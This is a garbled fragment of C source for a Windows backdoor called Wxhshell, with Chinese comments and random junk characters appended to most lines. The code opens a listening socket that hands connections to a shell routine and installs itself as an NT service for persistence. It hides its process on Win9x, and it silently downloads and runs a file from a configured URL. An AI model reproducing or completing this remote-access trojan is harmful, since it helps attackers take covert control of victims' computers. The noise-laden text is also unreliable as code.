DWORD BasePriority; VG>vn`x>a
ULONG UniqueProcessId; Z,.G%"i3C
ULONG InheritedFromUniqueProcessId; ?r2 #.W
} PROCESS_BASIC_INFORMATION; $8crN$ye
0=="^t_
PROCNTQSIP NtQueryInformationProcess; c1xrn4f@a
*;XWLd#
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y+3!f#exm
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wWXD\{Hk
2+Wzf)tB
HANDLE hProcess; ^Eo=W/
PROCESS_BASIC_INFORMATION pbi; ;zdxs'hJ
>dM8aJzC
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e9E\% p
if(NULL == hInst ) return 0; )H}#A#ovj7
w;e(Gb%9
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A4QcQ"
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W8g'lqc|
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h},oF!,
p\Lq}tk<
if (!NtQueryInformationProcess) return 0; {W\T"7H
SAY
f'[|w
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4R8G&8b
if(!hProcess) return 0; zW8*E E+,
d`
Sr4c
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +B|7p9qy
%5*@l vy
CloseHandle(hProcess); >5
b/or
{>bW>RO)
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ="d*E/##
if(hProcess==NULL) return 0; 5%}wV,Y
j:bgR8%e
HMODULE hMod; a1j.fA
char procName[255]; _Zc%z@}
unsigned long cbNeeded; vEG'HOP
iL7VFo:Q
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bOI3^T
J/A[45OD
CloseHandle(hProcess); syzdd
an
4"=Vq5
if(strstr(procName,"services")) return 1; // 以服务启动 _3Cn{{ A0
U,Mx@KdV
return 0; // 注册表启动 ]P[%Mhg^
} 0ji
q-3V)
?U7) XvQ
// 主模块 p#KW$OQ]8
int StartWxhshell(LPSTR lpCmdLine) _P?\.W@
{ mNYl@+:psj
SOCKET wsl; Q# ?wXX47
BOOL val=TRUE; M=]5WZO~A
int port=0; *xR
2)u
struct sockaddr_in door; 1=2^90
u
z\0cX_
if(wscfg.ws_autoins) Install(); q/1Or;iK
z}Jr^>
port=atoi(lpCmdLine); s4H2/EC
'!1$9o^$
if(port<=0) port=wscfg.ws_port; [/RM=4Nh5
!q"CV
WSADATA data; )$Z(|M4
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P;]F=m+*V
[hRU&z;W
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; :!zC"d9@
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V,ZY*f0
door.sin_family = AF_INET; gX5&d\y
door.sin_addr.s_addr = inet_addr("127.0.0.1"); z{]?h cY
door.sin_port = htons(port); n+1y
Qju`e Eo
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V^il$'
closesocket(wsl); -p-0;Hy
return 1; 3_5XHOdE
} W0cgI9=9
%}>dqUyQ
if(listen(wsl,2) == INVALID_SOCKET) { P6U%=xaC
closesocket(wsl); AAUyy
:
return 1; _w ]4~V9
} <EO<x D=:
Wxhshell(wsl); k6\^p;!Y
WSACleanup(); C+NF9N
{w^uWR4f
return 0; jQj,q{eA
"?.~/@
} uM(UO,X
"zZI S6j
// 以NT服务方式启动 3,aN8F1;C
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~9$X3.+
{ o'%eI
DWORD status = 0; }PeZO!K
DWORD specificError = 0xfffffff; ,,=apyr#&
sP$Ks#/
serviceStatus.dwServiceType = SERVICE_WIN32; "t(wG{RxY
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 2}t&iG|0/
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _ :^7a3I
serviceStatus.dwWin32ExitCode = 0; }{],GHCjQ
serviceStatus.dwServiceSpecificExitCode = 0; t0m*PJcF
serviceStatus.dwCheckPoint = 0; ?q91:H
serviceStatus.dwWaitHint = 0; 1x >iz
`A
KhM.Tc
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :]eb<J
if (hServiceStatusHandle==0) return; Bo\D.a(T
2>hz_o{5',
status = GetLastError(); 2RppP?M!
if (status!=NO_ERROR) V{Q kN7-
{ ]re'LC!d
serviceStatus.dwCurrentState = SERVICE_STOPPED; %c6E-4b
serviceStatus.dwCheckPoint = 0; "<l<&
qp
serviceStatus.dwWaitHint = 0; G5'_a$
serviceStatus.dwWin32ExitCode = status; W."f8ow
serviceStatus.dwServiceSpecificExitCode = specificError; -)w]a{F
SetServiceStatus(hServiceStatusHandle, &serviceStatus); .`C
V^\
return; 8V5a%2eV
} S]2 {ZDP
\3PE+$
serviceStatus.dwCurrentState = SERVICE_RUNNING; cBEHH4U
serviceStatus.dwCheckPoint = 0; t;#Gmo
serviceStatus.dwWaitHint = 0;
CB*/ =Y
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hG Apuy
} M$&>5n7
ehOs9b
// 处理NT服务事件,比如:启动、停止 ^b53}f8H
VOID WINAPI NTServiceHandler(DWORD fdwControl) xFsmf< Vm
{ $3\yf?m}q
switch(fdwControl) J4yt N3
{ QB1M3b
case SERVICE_CONTROL_STOP: Q_}/ Pn$1
serviceStatus.dwWin32ExitCode = 0; ; Zq/eiB
serviceStatus.dwCurrentState = SERVICE_STOPPED; }e=e",eAT
serviceStatus.dwCheckPoint = 0; 5()Fvae{k
serviceStatus.dwWaitHint = 0; MD'>jO;n
{ YU\Gj S~>&
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \{PNw F?
} |Cf
mcz(56
return; =,Ttw>
case SERVICE_CONTROL_PAUSE: Y%IJ8P^Y
serviceStatus.dwCurrentState = SERVICE_PAUSED; G :4;y7
break; &(O06QL
case SERVICE_CONTROL_CONTINUE: Vm!i
serviceStatus.dwCurrentState = SERVICE_RUNNING; eoJ]4-WFq
break; cgyo_
k
case SERVICE_CONTROL_INTERROGATE: 4 iH&:Al
break; v.`+I-\.z)
}; :t2B^})\
SetServiceStatus(hServiceStatusHandle, &serviceStatus); .[f;(WR
} |U=(b,
'TX M{RGw
// 标准应用程序主函数 .xpmp6-
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Fp:3#Bh
{ K+mU_+KRp
~n]NyVFP
// 获取操作系统版本 ?'2 v.5TQt
OsIsNt=GetOsVer(); %CT!$Y'n
GetModuleFileName(NULL,ExeFile,MAX_PATH); P^(.tr3t
&|=?acv
// 从命令行安装 4 =Fg!Eu<
if(strpbrk(lpCmdLine,"iI")) Install(); 37KU~9-A
T}2:.Hk:N
// 下载执行文件 ; J2-rh
if(wscfg.ws_downexe) { lO&cCV;
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BE%Z\E[[m
WinExec(wscfg.ws_filenam,SW_HIDE); =>YvA>izE
} !`C%Fkq
e\~l!f'z
if(!OsIsNt) { {8ECNQ[]
// 如果时win9x,隐藏进程并且设置为注册表启动 Uh\]?G[G
HideProc(); <bX 1,}?
StartWxhshell(lpCmdLine); CZfE
|T~
} b"P&+c
else 'bm:u
if(StartFromService()) IHVMHOq}'
// 以服务方式启动 tw86:kYEz
StartServiceCtrlDispatcher(DispatchTable); S.]MOB dt
else )G4rJ~#@
// 普通方式启动 ;KS`,<^-
StartWxhshell(lpCmdLine); bs:QG1*.
2[BA(B
return 0; cUC17z2D
}